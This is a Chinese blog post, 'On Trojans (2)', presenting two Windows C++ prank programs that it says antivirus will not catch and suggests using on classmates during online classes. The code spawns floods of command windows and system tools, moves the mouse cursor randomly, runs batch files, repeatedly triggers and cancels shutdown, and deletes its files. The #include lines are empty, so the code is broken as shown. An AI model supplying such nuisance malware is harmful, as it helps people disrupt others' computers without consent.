论木马(2)

这个代码不会被电脑查杀

但是有点费手

需要自己关

在网课时可以坑你的同学

看ta会不会中招

好了,上代码

#include
#include
using namespace std;
int main()
{
    system("color F5");
    int n;
	cin>>n;
    for(int i=1;i<=n;i++) system("start cmd");
    return 0;
}

当然,还有另外一种

#include
#include
using namespace std;
int main()
{ 
    system("color 8F");
		int x,y; 
	    for (int a=0;a<10000;a++)
        {
		    x = rand()%801;
            y = rand()%601;
            SetCursorPos(x,y);
        }
        for (int b=0;b<1;b++)
        {
            system("start notepad");
    	    system("start calc");
    	    system("start winver");
    	    system("start cmd");
    	    system("start Nslookup");
    	    system("start ");
    	    system("start cleanmgr");
    	    system("start charmap");
    	    system("start calc");
    	    system("start calc");
    	    system("start dxdiag");
    	    system("start cmd");
    	    system("start cmd");
    	    system("start cmd");
    	    system("start taskmgr");
    	    system("start ");
    	    system("start wiaacmgr");
    	    system("start  mspaint");
    	    system("start mmc");
    	    system("start ");
        }
        system("start dxdiag");
        Sleep(2000);
		system("taskkill /im notepad.exe") ;
		system("taskkill /im calc.exe") ;
        system("taskkill /im dxdiag.exe") ;
		system("taskkill /im winver.exe");
		system("taskkill /im  cmd.exe") ;
        system("taskkill /im Nslookup.exe") ;
		system("taskkill /im cleanmgr.exe") ;
		system("taskkill /im charmap.exe") ;
		system("taskkill /im taskmgr.exe") ;
		system("taskkill /im wiaacmgr.exe") ;
		system("taskkill /im mspaint.exe") ;
        system("taskkill /im mmc.exe") ;
		system("taskkill /im notepad.exe") ;
		system("taskkill /im calc.exe") ;
		system("taskkill /im calc.exe") ;
		system("taskkill /im calc.exe") ;
		system("taskkill /im calc.exe") ;
		system("taskkill /im calc.exe");
		system("taskkill /im cmd.exe") ;
		for (int i=0;i<5;i++)
		{
			system("start eason.bat");
		}
		for (int j=0;j<5;j++)
		{
			system("start eason2.bat");
		}
		//接下来我要把程序都关了
		system("taskkill /im taskmgr.exe") ;
	    system("taskkill /im mmc.exe") ;
		system("taskkill /im /f cmd.exe") ;
		system("taskkill /im cmd.exe") ;
		system("taskkill /im calc.exe") ;
	    for (int k=0;k<10000;k++)
        {
		    x = rand()%801;
            y = rand()%601;
            SetCursorPos(x,y);
        }
		system("start easo.txt");
		for (int p =0;p<5;p++)
		{
		    system("shutdown -s");
		    Sleep(100);
		    system("shutdown -a");
	    }
		remove("eason.bat");
		remove("eason2.bat");
		remove("easo.txt");
		return 0;
}

好了,今天就到这里

下次见,┏(^0^)┛

你可能感兴趣的:(gnu,c++,c语言)